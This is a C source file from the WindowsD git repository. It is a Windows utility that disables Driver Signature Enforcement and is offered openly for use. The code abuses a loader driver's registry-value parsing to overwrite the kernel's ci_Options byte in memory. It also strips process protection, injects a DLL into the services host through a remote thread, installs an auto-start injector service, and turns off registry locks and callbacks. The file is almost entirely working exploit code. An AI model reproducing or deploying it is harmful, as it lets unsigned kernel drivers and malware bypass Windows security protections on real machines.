Merge pull request #2 from vyvojar/master
[WindowsD.git] / wind.c
blob2a606fe131d59f9539fb30683867a639eebdd074
1 #include <windows.h>
2 #include <winternl.h>
3 #include <ntstatus.h>
4 #include <stdio.h>
6 #include "defs.h"
7 #include "ntcruft.h"
8 #include "wind.h"
10 static void *get_res(int id, int *len)
12 HRSRC h = FindResource(NULL, MAKEINTRESOURCE(id), RT_RCDATA);
13 HGLOBAL g = LoadResource(NULL, h);
14 *len = SizeofResource(NULL, h);
15 return LockResource(g);
18 static void *get_mod_info()
20 DWORD got = 0;
21 void *m;
23 NTSTATUS ret = NtQuerySystemInformation(
24 SystemModuleInformation, NULL, 0, &got);
25 if (ret != STATUS_INFO_LENGTH_MISMATCH)
26 return NULL;
28 m = malloc(got);
29 if (NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, m, got, &got)))
30 return m;
31 free(m);
32 return NULL;
35 static ULONG_PTR get_mod_base(RTL_PROCESS_MODULES *m, char *name)
37 for (int i = 0; i < m->NumberOfModules; i++) {
38 RTL_PROCESS_MODULE_INFORMATION *p = m->Modules + i;
39 if (!stricmp(name, (char*)p->FullPathName + p->OffsetToFileName))
40 return (ULONG_PTR)p->ImageBase;
42 return 0;
45 #ifndef _WIN64
46 // on x86, we dont have the luxury of saving the original ci_Options
47 // We attempt to guess semi-correct value of the first byte.
48 // Since x86 has no PatchGuard running (yet?), this needs to be only
49 // semi-accurate to feign the "secure" kernel status.
50 static ULONG_PTR guess_ci()
52 DWORD dw, infoci[2] = { sizeof(infoci) };
53 unsigned char infosb[0x18];
54 unsigned char infobe[0x20];
55 ULONG_PTR ret = 0;
56 NTSTATUS status;
58 status = NtQuerySystemInformation(SystemCodeIntegrityInformation, &infoci, sizeof(infoci), &dw);
59 DBG("QueryCI status %08x", (unsigned)status);
60 if (!NT_SUCCESS(status))
61 return 0;
62 dw = sizeof(infosb);
63 status = NtQuerySystemInformation(SystemSecureBootPolicyInformation, &infosb, sizeof(infosb), &dw);
64 DBG("QuerySecureBoot status %08x", (int)status);
65 if (NT_SUCCESS(status)) {
66 dw = sizeof(infobe);
67 // if ( *(_BYTE *)(v5 + 0x14) & 0x80 )
68 // {
69 // LOWORD(v8) = g_CiOptions | 0x20;
70 // g_CiOptions |= 0x20u;
71 // }
72 status = NtQuerySystemInformation(SystemBootEnvironmentInformation, &infobe, sizeof(infobe), &dw);
73 DBG("QueryBootEnv status %08x", (int)status);
74 if (NT_SUCCESS(status)) {
75 if (infosb[0x14] & 0x80)
76 ret |= 0x20;
80 DBG("infoci is %d", (int)infoci[1]);
81 if (infoci[1] & 1) // enabled
82 ret |= 6;
83 if (infoci[1] & 2) // testsign
84 ret |= 8;
86 return ret;
88 #endif
90 static ULONG_PTR ci_analyze(void *mods, wind_config_t *cfg)
92 HMODULE ci;
93 BYTE *p;
94 ULONG_PTR mod;
95 ULONG_PTR base = get_mod_base(mods, "CI.DLL");
96 ULONG_PTR ci_opt = 0;
97 ULONG_PTR key = 0;
98 WCHAR path[PATH_MAX];
99 #ifdef _WIN64
100 MEMORY_BASIC_INFORMATION info;
101 #endif
102 wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\CI.DLL");
103 ci = LoadLibraryEx(path, NULL, DONT_RESOLVE_DLL_REFERENCES);
104 if (!ci) {
105 DBG("no ci initialize %d %S",(int)GetLastError(), path);
106 goto out_free;
109 p = (void*)GetProcAddress(ci, "CiInitialize");
110 mod = (ULONG_PTR)ci;
112 DBG("analyzing ci, modbase=%p, userbase=%p",(void*)base, (void*)mod);
114 // find jmp CipInitialize
115 for (int i = 0; i < 100; i++, p++) {
116 // jmp/call forwardnearby
117 if (((p[-1]&0xfe) == 0xe8) && ((!(p[2]|p[3]))||((p[2]&p[3])==0xff))) {
118 BYTE *t = p + 4 + *((DWORD*)p);
119 DBG("candidate %x %p",p[-1],t);
120 // Don't eat the security cookie
121 #ifdef _WIN64
122 // mov rax, [rip+something]
123 if (EQUALS(t, "\x48\x8b\x05"))
124 continue;
125 #else
126 // mov eax, [something]
127 if (t[0] == 0xa1)
128 continue;
129 #endif
130 goto cipinit_found;
133 DBG("CipInitialize not found in vicinity");
134 goto out_free;
135 cipinit_found:
136 DBG("CipRef @ %p", p);
137 p = p + 4 + *((DWORD*)p);
138 DBG("CiInitialize @ %p", p);
140 for (int i = 0; i < 100; i++, p++) {
141 #ifdef _WIN64
142 // mov ci_Options, ecx; check the relip points back and close
143 if (p[-2] == 0x89 && p[-1] == 0x0d && p[3] == 0xff) {
144 ci_opt = (ULONG_PTR)(p + 4) + *((LONG*)p);
145 goto found_ci;
147 #else
148 // mov ci_Options, eax|ecx; call __imp_something
149 if (p[4] == 0xff && p[5] == 0x15)
151 DWORD dw = *((DWORD*)(p+6));
152 if (dw > mod && dw < (mod+1024*1024)) {
153 ci_opt = *(ULONG_PTR*)p;
154 goto found_ci;
157 #endif
159 DBG("ci_Options not found");
160 goto out_free;
161 found_ci:
162 #ifdef _WIN64
163 // Scratch space we use to stash original ci_Options into
164 if (!VirtualQuery((void*)ci_opt, &info, sizeof(info)))
165 goto out_free;
166 cfg->ci_orig = ((info.BaseAddress + info.RegionSize - 4) - mod + base);
167 // Some dummy, unknown key
168 p = (void*)mod + 4096;
169 // key address must incorporate RTL_QUERY_REGISTRY_DIRECT !
170 while (*((UINT32*)p)>0xff || (!(((ULONG_PTR)p)&0x20))) p++;
171 key = (ULONG_PTR)p - mod + base;
172 #else
173 cfg->ci_guess = guess_ci();
174 key = 1;
175 #endif
176 cfg->ci_opt = (void*)(ci_opt - mod + base);
177 out_free:
178 FreeLibrary(ci);
179 DBG("ci done %d",(int)key);
180 return key;
183 static int nt_path(WCHAR *dst, WCHAR *src)
185 // TBD: something smarter may be needed
186 return swprintf(dst, PATH_MAX, L"\\??\\%s", src)*2+2;
189 static int create_service(WCHAR *svc, WCHAR *name, WCHAR *image)
191 WCHAR tmp[PATH_MAX];
192 DWORD dw;
193 wcscpy(svc, SVC_BASE);
194 if (name) {
195 wcscat(svc, name);
196 } else {
197 int p = wcslen(svc);
198 for (WCHAR *i = name = image; *i; i++)
199 if (*i == L'\\')
200 name = i+1;
201 while (*name && *name != '.')
202 svc[p++] = *name++;
203 svc[p] = 0;
206 if (!NT_SUCCESS(RtlCreateRegistryKey(0, svc)))
207 return 0;
208 RtlWriteRegistryValue(0, svc, L"ImagePath", REG_SZ, tmp, nt_path(tmp, image));
209 dw = 1;
210 RtlWriteRegistryValue(0,svc, L"Type", REG_DWORD, &dw, sizeof(dw));
211 DBG("created service reg=%S, image=%S", svc, image);
212 return 1;
215 static void *read_file(WCHAR *path, int *len)
217 DWORD sz, ret = 0;
218 HANDLE f;
219 void *buf;
220 f = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
221 if (f == INVALID_HANDLE_VALUE)
222 return 0;
223 sz = GetFileSize(f, NULL);
224 if (sz == INVALID_FILE_SIZE)
225 return NULL;
226 DBG("reading %S, size=%d", path, (int)sz);
227 buf = malloc(sz);
228 if ((!ReadFile(f, buf, sz, &ret, NULL)) || (sz != ret)) {
229 DBG("read failed %d/%d %x",(int)sz,(int)ret,(int)GetLastError());
230 CloseHandle(f);
231 free(buf);
232 return NULL;
234 CloseHandle(f);
235 *len = sz;
236 return buf;
239 static int update_file(WCHAR *fullpath, WCHAR *name, int res)
241 DWORD sz;
242 WCHAR tmp[PATH_MAX];
243 HANDLE f;
244 int needmove = 0;
245 int elen, len, ret = 0;
246 void *ebuf, *buf;
248 DBG("updating file %S, rsrc=%d", name, res);
250 if (res < 0) {
251 if (!GetModuleFileName(NULL, tmp, PATH_MAX))
252 return 0;
253 DBG("got self %S",tmp);
254 buf = read_file(tmp, &len);
255 } else buf = get_res(res, &len);
257 if (!buf) {
258 DBG("failed to get update buffer data");
259 return 0;
262 wcscpy(fullpath + GetSystemDirectory(fullpath, PATH_MAX), name);
263 sz = GetFileSize(fullpath, NULL);
264 DBG("got fullpath %S", fullpath);
266 ebuf = read_file(fullpath, &elen);
267 if (ebuf) {
268 if ((elen == len) && (!memcmp(ebuf, buf, len))) {
269 ret = 1;
270 DBG("files equal, skip");
271 goto out;
273 DBG("file nonequal? %d %d", elen,len);
276 f = CreateFile(fullpath, FILE_WRITE_DATA,
277 FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0);
278 DBG("create %p",f);
279 if (f == INVALID_HANDLE_VALUE) {
280 swprintf(tmp, PATH_MAX, L"%s.new", fullpath);
281 f = CreateFile(tmp, FILE_WRITE_DATA,
282 FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0);
283 if (f == INVALID_HANDLE_VALUE)
284 goto out;
285 needmove = 1;
288 sz = 0;
289 ret = WriteFile(f, buf, len, &sz, NULL);
290 CloseHandle(f);
291 if (!ret || sz != len) {
292 DeleteFile(needmove?tmp:fullpath);
293 goto out;
295 if (needmove) {
296 DBG("Will move from %S to %S on next boot", tmp, fullpath);
297 ret = MoveFileEx(tmp, fullpath, MOVEFILE_DELAY_UNTIL_REBOOT|MOVEFILE_REPLACE_EXISTING);
298 if (!ret) DeleteFile(tmp);
300 DBG("ret done %d",ret);
301 out:;
302 if (ebuf)
303 free(ebuf);
304 if (res < 0)
305 free(buf);
306 return ret;
309 static int install_files(WCHAR *svc, WCHAR *ldr)
311 WCHAR dllpath[PATH_MAX];
312 WCHAR syspath[PATH_MAX];
313 WCHAR ldrpath[PATH_MAX];
315 if (!update_file(dllpath, L"\\" BASENAME ".exe", -1))
316 return 0;
317 if (!update_file(dllpath, L"\\" BASENAME ".dll", DLL_ID))
318 return 0;
319 if (!update_file(syspath, L"\\drivers\\" BASENAME ".sys", SYS_ID))
320 return 0;
321 if (!update_file(ldrpath, L"\\drivers\\" BASENAME "loader.sys", LOADER_ID))
322 return 0;
324 if (!create_service(svc, NULL, syspath))
325 return 0;
326 if (!create_service(ldr, NULL, ldrpath))
327 return 0;
329 return 1;
332 static HANDLE trigger_loader(WCHAR *svc, WCHAR *ldr, int boot)
334 wind_config_t cfg = {.bootreg=boot};
335 NTSTATUS status;
336 UNICODE_STRING svcu, ldru;
337 HANDLE dev = NULL;
338 void *mod = get_mod_info();
339 ULONG_PTR key = ci_analyze(mod, &cfg);
341 #ifdef _WIN64
342 struct {
343 UINT64 pad;
344 RTL_QUERY_REGISTRY_TABLE tab[4] ;
345 } buffer = { .tab = {
346 {}, {},
347 { // save original ci_Options byte to cisave
348 .Flags = 32, // DIRECT
349 .Name = (void*)key, // valid string, but non-existent key
350 .EntryContext = (void*)cfg.ci_orig, // destination
351 .DefaultType = REG_DWORD,
352 .DefaultData = (void*)cfg.ci_opt, // source
353 .DefaultLength = 1 // save 1 byte
355 { // overwrite ci_Options byte with 0
356 .Flags = 32, // DIRECT
357 .Name = (void*)key, // valid string, but non-existent key
358 .EntryContext = (void*)cfg.ci_opt, // data to overwrite
359 .DefaultType = REG_DWORD,
360 .DefaultData = (void*)key + 2, // source - 4 zeros
361 .DefaultLength = 1 // overwrite 1 byte
364 RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_SZ, L"x", 4);
365 #else
366 DWORD zero = 0;
367 // smash 4 stack DWORD entries
368 RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_MULTI_SZ, L"x\0x\0", 10);
369 // target addr
370 RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_DWORD, &cfg.ci_opt, 4);
371 // and write 0 byte there
372 RtlWriteRegistryValue(0, ldr, L"FlowControlChannelBandwidth", REG_SZ, &zero, 1);
373 #endif
374 if (!key)
375 goto out;
377 DBG("preparing cfg for driver with:\n"
378 " .ci_opt = %p\n"
379 " .ci_orig = %p\n"
380 " .ci_guess = %02x\n"
381 , cfg.ci_opt, cfg.ci_orig, cfg.ci_guess);
383 RtlWriteRegistryValue(0, svc, L"cfg", REG_BINARY, &cfg, sizeof(cfg));
385 RtlInitUnicodeString(&svcu, svc);
386 RtlInitUnicodeString(&ldru, ldr);
388 for (int retry = 0; 1; retry++) {
389 // try to load our driver if loader suceeded
390 status = NtLoadDriver(&svcu);
391 (void)status;
392 DBG("NtLoadDriver(%S) = %08x", svcu.Buffer, (unsigned)status);
393 dev = wind_open();
394 DBG("devopen=%p",dev);
395 // remove loader, if still there
396 status = NtUnloadDriver(&ldru);
397 DBG("NtUnloadDriver(%S) = %08x", ldru.Buffer, (unsigned)status);
398 // exit if we're in
399 if (dev)
400 break;
401 if (retry == 2)
402 break;
403 #ifdef _WIN64
404 // first attempt - positive REG_BINARY length
405 if (!retry) {
406 DBG("REG_BINARY positive");
407 RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_BINARY,
408 ((void*)buffer.tab)+4, sizeof(buffer.tab)-4);
409 } else {
410 DBG("REG_BINARY negative");
411 RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth",REG_BINARY,
412 ((void*)buffer.tab)-4, sizeof(buffer.tab)+4);
414 #endif
415 // request loader driver again
416 status = NtLoadDriver(&ldru);
417 DBG("NtLoadDriver(%S) = %08x", ldru.Buffer, (unsigned)status);
419 out:;
420 free(mod);
421 return dev;
424 static HANDLE check_driver(int force, int boot)
426 HANDLE dev;
427 dev = wind_open();
428 if (!dev || force) {
429 HANDLE hmutex;
430 WCHAR svc[PATH_MAX], ldr[PATH_MAX];
432 hmutex = CreateMutex(NULL, 0, L"mutex"BASENAME);
433 WaitForSingleObject(hmutex,INFINITE);
435 if (install_files(svc, ldr))
436 dev = trigger_loader(svc, ldr, boot);
438 ReleaseMutex(hmutex);
439 CloseHandle(hmutex);
441 return dev;
444 static int elevate()
446 BOOLEAN old;
447 if (!NT_SUCCESS(RtlAdjustPrivilege(ID_SeLoadDriverPrivilege, 1, 0, &old))) {
448 printf("You need to run this command as an Administrator.\n");
449 return 0;
451 return 1;
454 static int unprotect(WCHAR *p)
456 NTSTATUS st;
457 HANDLE dev;
458 wind_prot_t prot = {0};
459 if (!elevate())
460 return 0;
461 WSKIP(p);
462 prot.pid = _wtoi(p);
463 dev = check_driver(0,0);
464 if (!dev) {
465 printf("Failed to open/install WinD device.\n");
466 return 0;
468 st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
469 wind_close(dev);
470 if (!NT_SUCCESS(st)) {
471 printf("Failed to de-protect %d, status %08x\n",
472 (int)prot.pid, (int)st);
473 return 0;
475 printf("%d is now de-protected.\n",(int)prot.pid);
476 return 1;
479 static int load_driver(WCHAR *name)
481 WCHAR svc[PATH_MAX];
482 NTSTATUS status;
483 HANDLE dev;
484 int ret = 0;
486 if (!elevate())
487 return 0;
489 dev = check_driver(0,0);
490 if (!name) {
491 ret = !!dev;
492 goto outclose;
495 if (!dev) {
496 printf("Control driver failed to load. Use debug binary for details.\n");
497 goto outclose;
500 WSKIP(name);
502 if (!*name) {
503 ret = 1;
504 printf("Control driver loaded.\n");
505 goto outclose;
508 // create service?
509 for (int i = 0; name[i]; i++) {
510 if (name[i] == L'.') {
511 WCHAR fullpath[PATH_MAX];
512 GetFullPathName(name, PATH_MAX, fullpath, NULL);
513 if (!create_service(svc, NULL, fullpath)) {
514 printf("Failed to create service for file %S", fullpath);
515 goto outclose;
517 goto havesvc;
520 wcscpy(svc, SVC_BASE);
521 wcscat(svc, name);
522 havesvc:;
523 status = wind_ioctl_string(dev, WIND_IOCTL_INSMOD, svc);
524 if (!NT_SUCCESS(status)) {
525 if (status == STATUS_IMAGE_ALREADY_LOADED) {
526 UNICODE_STRING us;
527 RtlInitUnicodeString(&us, svc);
528 status = NtUnloadDriver(&us);
529 if (!NT_SUCCESS(status)) {
530 printf("Unload failed %08x\n", (int)status);
532 status = wind_ioctl_string(dev, WIND_IOCTL_INSMOD, svc);
534 if (NT_SUCCESS(status)) {
535 printf("%S re-loaded.\n", name);
536 goto outok;
538 printf("Failed to load %S NTSTATUS=%08x", name, (int)status);
539 goto outclose;
541 printf("%S loaded.", name);
542 outok:
543 ret = 1;
544 outclose:;
545 wind_close(dev);
546 return ret;
549 static int restore_point(char *name)
551 SHELLEXECUTEINFOA shexec = {
552 .cbSize = sizeof(shexec),
553 .fMask = SEE_MASK_NOCLOSEPROCESS,
554 .lpVerb = "open",
555 .lpFile = FILE_VBS,
556 .lpParameters = "",
558 HMODULE lib = LoadLibraryA("SHELL32");
559 BOOL (WINAPI *sh)(VOID*) = (void*)GetProcAddress(lib, "ShellExecuteExA");
560 DWORD ecode = 1;
561 FILE *f;
562 // we can be called before desktop is available, user32.dll could fail
563 if (!sh)
564 return 0;
565 f = fopen(FILE_VBS, "w+");
566 fprintf(f, RESTORE_VBS, name);
567 fclose(f);
568 if (!sh(&shexec))
569 return 0;
570 printf("Creating restore point..."); fflush(stdout);
571 WaitForSingleObject(shexec.hProcess,INFINITE);
572 GetExitCodeProcess(shexec.hProcess, &ecode);
573 DeleteFileA(FILE_VBS);
574 return ecode == 123;
577 static int do_install()
579 WCHAR path[PATH_MAX];
580 SC_HANDLE h, scm;
581 int ret = 0;
582 NTSTATUS st;
584 DBG("doing install");
586 if (!elevate())
587 return 0;
588 st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME));
589 (void)st;
590 DBG("Unloading previous driver %x", (int)st);
592 if (!check_driver(1,0)) {
593 printf("Failed to initialize driver.\n");
594 DBG("no driver, exiting");
595 return 0;
598 scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
599 if (!scm) {
600 printf("Unable to initialize boot service.\n");
601 return 0;
603 wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\" BASENAME ".exe /X");
604 DBG("injector=%S",path);
606 h = CreateService(scm, L"" BASENAME"inject", L""BASENAME" injector service", SERVICE_ALL_ACCESS,
607 SERVICE_WIN32_OWN_PROCESS,
608 #ifdef NDEBUG
609 SERVICE_AUTO_START,
610 #else
611 SERVICE_DEMAND_START,
612 #endif
613 SERVICE_ERROR_IGNORE,
614 path, L"Base", NULL, NULL, NULL, NULL);
615 if (!h && (GetLastError() == ERROR_SERVICE_EXISTS)) {
616 DBG("svc already exists");
617 h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS);
619 if (h) {
620 ret = 1;
621 DBG("attempting to start service");
622 StartService(h, 0, NULL);
623 } else {
624 DBG("service open failed, %d", (int)GetLastError());
626 if (ret) {
627 printf(BASENAME " installed successfuly.\n");
628 } else {
629 printf(BASENAME " installation failed. Use debug version to find out why.\n");
631 CloseServiceHandle(h);
632 CloseServiceHandle(scm);
633 return ret;
636 static int do_uninstall(int checkonly)
638 HANDLE h, scm;
639 int ret = 0;
640 if (!elevate() && !checkonly)
641 return 0;
642 scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
643 if (!scm) return 0;
644 h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS);
645 if (!h)
646 goto out;
647 if (checkonly)
648 ret = 1;
649 else {
650 printf("Service deleted.\n");
651 ret = DeleteService(h);
653 CloseServiceHandle(h);
654 out:;
655 CloseServiceHandle(scm);
656 if (!checkonly) {
657 NTSTATUS st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME));
658 (void)st;
659 DBG("Unloading previous driver %x", (int)st);
660 if (ret) {
661 printf(BASENAME " uninstalled.\n");
662 } else {
663 printf("Some errors during uninstallation (already uninstalled?)\n");
666 return ret;
669 static int is_installed()
671 return do_uninstall(1);
675 static int yesno(char *q)
677 char c;
678 do {
679 printf(">> %s [y/n]", q);
680 c = getchar();
681 while (getchar() != '\n');
682 } while (tolower(c) != 'y' && tolower(c) != 'n');
683 return c == 'y';
686 static int interactive_install()
688 printf("We're going to patch deep into windows and something may go awry.\n"
689 "The changes can be reversed by restoring registry (part of restore).\n"
690 "Creating a backup you can boot into is STRONGLY advised.\n");
691 if (!yesno("Create a system restore point?"))
692 return 1;
693 if (!restore_point("Before installing " BASENAME)) {
694 printf("Restore point creation failed!\n"
695 "Create restore point manualy NOW and then proceed!\n");
696 return yesno("Do you want to proceed with installation?");
697 } else printf("Done!\n");
698 return 1;
701 static void enter()
703 while (getchar() != '\n') {};
706 static int usage(int interactive)
708 int doit, installed = is_installed();
710 printf( "WindowsD "VERSTR" kat@lua.cz 2016\n\n");
712 printf(
713 "This program can manipulate various restrictions of Windows:\n"
714 " * Driver signing ('DSE', which breaks freeware utilities like this one)\n"
715 " * Process protection ('unkillable processes', WinTCB)\n"
716 " * Most common methods of 'read only' registry locking\n"
717 "\n"
720 if (!interactive) {
721 printf("usage: \n"
722 "\nDriver actions:\n"
723 " "BASENAME " /I install, disable DSE permanently\n"
724 " "BASENAME " /U uninstall, re-enable DSE permanently\n"
725 " "BASENAME " /L [service|driver.sys] load, (or re-load, if present) a driver\n"
726 "\nMisc actions:\n"
727 " "BASENAME " /W run interactive installer\n"
728 " "BASENAME " /D <pid> de-protect specified process ID\n"
729 "\nRegistry actions:\n"
730 " "BASENAME " /RD <\\Registry\\Path> R/O lock Disable\n"
731 " "BASENAME " /RE <\\Registry\\Path> R/O lock Enable\n"
732 " "BASENAME " /ND <\\Registry\\Path> Notify/refresh Disable\n"
733 " "BASENAME " /NE <\\Registry\\Path> Notify/refresh re-Enable\n"
734 " "BASENAME " /CD Disable global registry callbacks\n"
735 " "BASENAME " /CE Re-enable global registry callbacks\n\n"
736 " Note that Path has to be NT path, such as the following examples:\n"
737 " \\Registry\\Machine\\System\\CurrentControlSet\\Control\\Services\n"
738 " \\Registry\\User\\Environment\n"
740 goto out;
743 printf("Entering interactive mode (invoke " BASENAME " /? for cmd options)\n\n");
744 if (installed) {
745 printf("Detected running " BASENAME ".\n");
746 doit = yesno("Do you wish to uninstall it?");
747 } else {
748 printf(BASENAME " is not installed. Unsigned drivers will not load at boot.\n");
749 doit = yesno("Do you wish to install it system-wide?");
752 if (doit) {
753 int ret;
754 if (installed) {
755 printf("Uninstalling...");
756 ret = do_uninstall(0);
757 } else {
758 if (!interactive_install())
759 goto cancel;
760 printf("Installing...");
761 ret = do_install();
763 printf("All done! Press enter to close...");
764 enter();
765 ExitProcess(ret);
767 cancel:;
768 printf("Operation cancelled, press enter to close...");
769 enter();
770 out:;
771 ExitProcess(1);
774 static void WINAPI service_ctl(DWORD code)
778 static void inject_parent(int pid)
780 char path[PATH_MAX];
781 HANDLE hthr, hp = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
782 void *lla, *dst;
783 DBG("opened pid=%d handle=%p err=%d",pid,hp,(int)GetLastError());
784 dst = VirtualAllocEx(hp, NULL, 4096, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
786 strcpy(path + GetSystemDirectoryA(path,PATH_MAX), "\\" BASENAME ".dll");
788 DBG("injecting into parent pid=%d h=%p dst=%p path=%s",(int)pid,hp,dst,path);
790 if (!WriteProcessMemory(hp, dst, path, strlen(path) + 1, NULL)) {
791 DBG("writing memory failed %d", (int)GetLastError());
792 goto out;
795 lla = GetProcAddress(GetModuleHandleA("KERNEL32.DLL"),"LoadLibraryA");
796 if (!lla) {
797 DBG("failed to get LoadLibraryA");
798 goto out;
800 hthr = CreateRemoteThread(hp, NULL, 0, lla, dst, 0, NULL);
801 WaitForSingleObject(hthr, INFINITE);
802 CloseHandle(hthr);
803 out:;
804 CloseHandle(hp);
807 static void fix_boot_drivers()
809 SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
810 DWORD nserv, sz = 0;
811 ENUM_SERVICE_STATUS_PROCESS *buf;
812 QUERY_SERVICE_CONFIG *cfg = NULL;
813 DWORD cfgsz = 0;
815 if (!scm) return;
817 EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER,
818 SERVICE_INACTIVE, NULL, 0, &sz,
819 &nserv, NULL, NULL);
821 if (!sz) goto outclose;
822 buf = malloc(sz);
824 if (!EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER,
825 SERVICE_INACTIVE, (void*)buf, sz, &sz,
826 &nserv, NULL, NULL))
827 goto outfree;
829 DBG("got %d services", (int)nserv);
830 for (int i = 0; i < nserv; i++) {
831 SERVICE_STATUS_PROCESS *stat = &buf[i].ServiceStatusProcess;
832 SC_HANDLE sc;
833 if (stat->dwServiceType > 3) continue;
834 sc = OpenService(scm, buf[i].lpServiceName, SERVICE_ALL_ACCESS);
835 retry:;
836 if (!QueryServiceConfig(sc, cfg, cfgsz, &cfgsz)) {
837 if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
838 cfg = realloc(cfg, cfgsz);
839 goto retry;
841 CloseServiceHandle(sc);
842 continue;
844 if (cfg->dwStartType > 1) {
845 CloseServiceHandle(sc);
846 continue;
848 DBG("found stale boot service %S, starting",buf[i].lpServiceName);
849 StartService(sc, 0, NULL);
850 CloseServiceHandle(sc);
852 free(cfg);
853 outfree:;
854 free(buf);
855 outclose:;
856 CloseServiceHandle(scm);
859 static void WINAPI service_main(DWORD argc, WCHAR **argv)
861 SERVICE_STATUS_HANDLE svc = RegisterServiceCtrlHandler(L""BASENAME, service_ctl);
862 SERVICE_STATUS st = {
863 .dwServiceType = SERVICE_WIN32_OWN_PROCESS,
864 .dwCurrentState = SERVICE_START_PENDING
866 SetServiceStatus(svc, &st);
868 st.dwCheckPoint++;
869 st.dwCurrentState = SERVICE_STOPPED;
870 st.dwWin32ExitCode = 0;
871 SetServiceStatus(svc, &st);
874 static int run_service()
876 SERVICE_TABLE_ENTRY s_table[] = {
877 {L""BASENAME"inject", service_main},
878 {NULL, NULL}
880 ULONG_PTR pbi[6];
881 ULONG uls;
882 HANDLE dev;
883 int pid;
884 wind_prot_t prot = {0};
885 NTSTATUS st;
887 DBG("service launched");
889 StartServiceCtrlDispatcher(s_table);
891 // If we're in safe mode, do nothing.
892 if (GetSystemMetrics(SM_CLEANBOOT))
893 return 1;
895 elevate();
897 if (!NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(), 0, &pbi, sizeof(pbi), &uls)))
898 return 0;
900 pid = pbi[5];
901 prot.pid = pid;
902 DBG("got parent pid=%d",pid);
903 dev = check_driver(0,1);
904 if (!dev) {
905 DBG("no driver, bye");
906 return 0;
909 st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
910 if (!NT_SUCCESS(st)) {
911 DBG("failed to unprotect services %08x", (int)st);
912 wind_close(dev);
913 return 0;
916 inject_parent(pid);
918 wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
919 wind_close(dev);
921 fix_boot_drivers();
923 return 1;
926 static int regunlock(int mcmd, WCHAR *p)
928 HANDLE dev;
929 NTSTATUS status;
930 int cmd = toupper(*p++);
931 if ((!cmd) || ((cmd != 'E') && (cmd != 'D')))
932 usage(0);
933 WSKIP(p);
934 dev = check_driver(0,0);
935 if (!dev) {
936 printf("Failed to open/install WinD device.\n");
937 return 0;
939 if (mcmd == 'C') {
940 printf("%sbling global registry callbacks...", cmd=='E'?"Ena":"Disa");
941 status = wind_ioctl(dev, WIND_IOCTL_REGCBOFF+((cmd=='E')<<2), NULL, 0);
942 } else if (cmd == 'D') {
943 printf("Unlocking %S...", p);
944 status = wind_ioctl_string(dev,
945 mcmd=='N'
946 ?WIND_IOCTL_REGNOFF
947 :WIND_IOCTL_REGLOCKOFF, p);
948 } else {
949 printf("Locking %S...", p);
950 status = wind_ioctl_string(dev,
951 mcmd=='N'
952 ?WIND_IOCTL_REGNON
953 :WIND_IOCTL_REGLOCKON, p);
955 if (NT_SUCCESS(status))
956 printf("OK\n");
957 else
958 printf("error %08x\n", (int)status);
959 wind_close(dev);
960 return NT_SUCCESS(status);
963 void ENTRY(win_main)()
965 int cc, ret = 0;
966 CONSOLE_SCREEN_BUFFER_INFO csbi;
967 int explorer = GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi)
968 && !(csbi.dwCursorPosition.X|csbi.dwCursorPosition.Y);
970 WCHAR *cmd = GetCommandLine();
971 int quot = *cmd++ == L'"';
972 while (*cmd && (quot || (cmd[0]>L' ')))
973 if (*cmd++ == L'"')
974 quot ^= 1;
975 while (*cmd && *cmd<= L' ')
976 cmd++;
978 if ((*cmd != L'/') && (*cmd != L'-'))
979 usage(explorer);
980 cmd += 2;
982 cc = toupper(cmd[-1]);
983 switch (cc) {
984 case 'I':
985 ret = !!do_install();
986 break;
987 case 'U':
988 ret = !!do_uninstall(0);
989 break;
990 case 'W':
991 usage(1);
992 break;
993 case 'L':
994 ret = !!load_driver(cmd);
995 break;
996 case 'X':
997 ret = !!run_service();
998 break;
999 case 'D':
1000 ret = !!unprotect(cmd);
1001 break;
1002 case 'R':
1003 case 'N':
1004 case 'C':
1005 ret = !!regunlock(cc, cmd);
1006 break;
1007 default:
1008 usage(0);
1011 if (explorer) {
1012 printf("Press enter...");
1013 enter();
1015 ExitProcess(ret);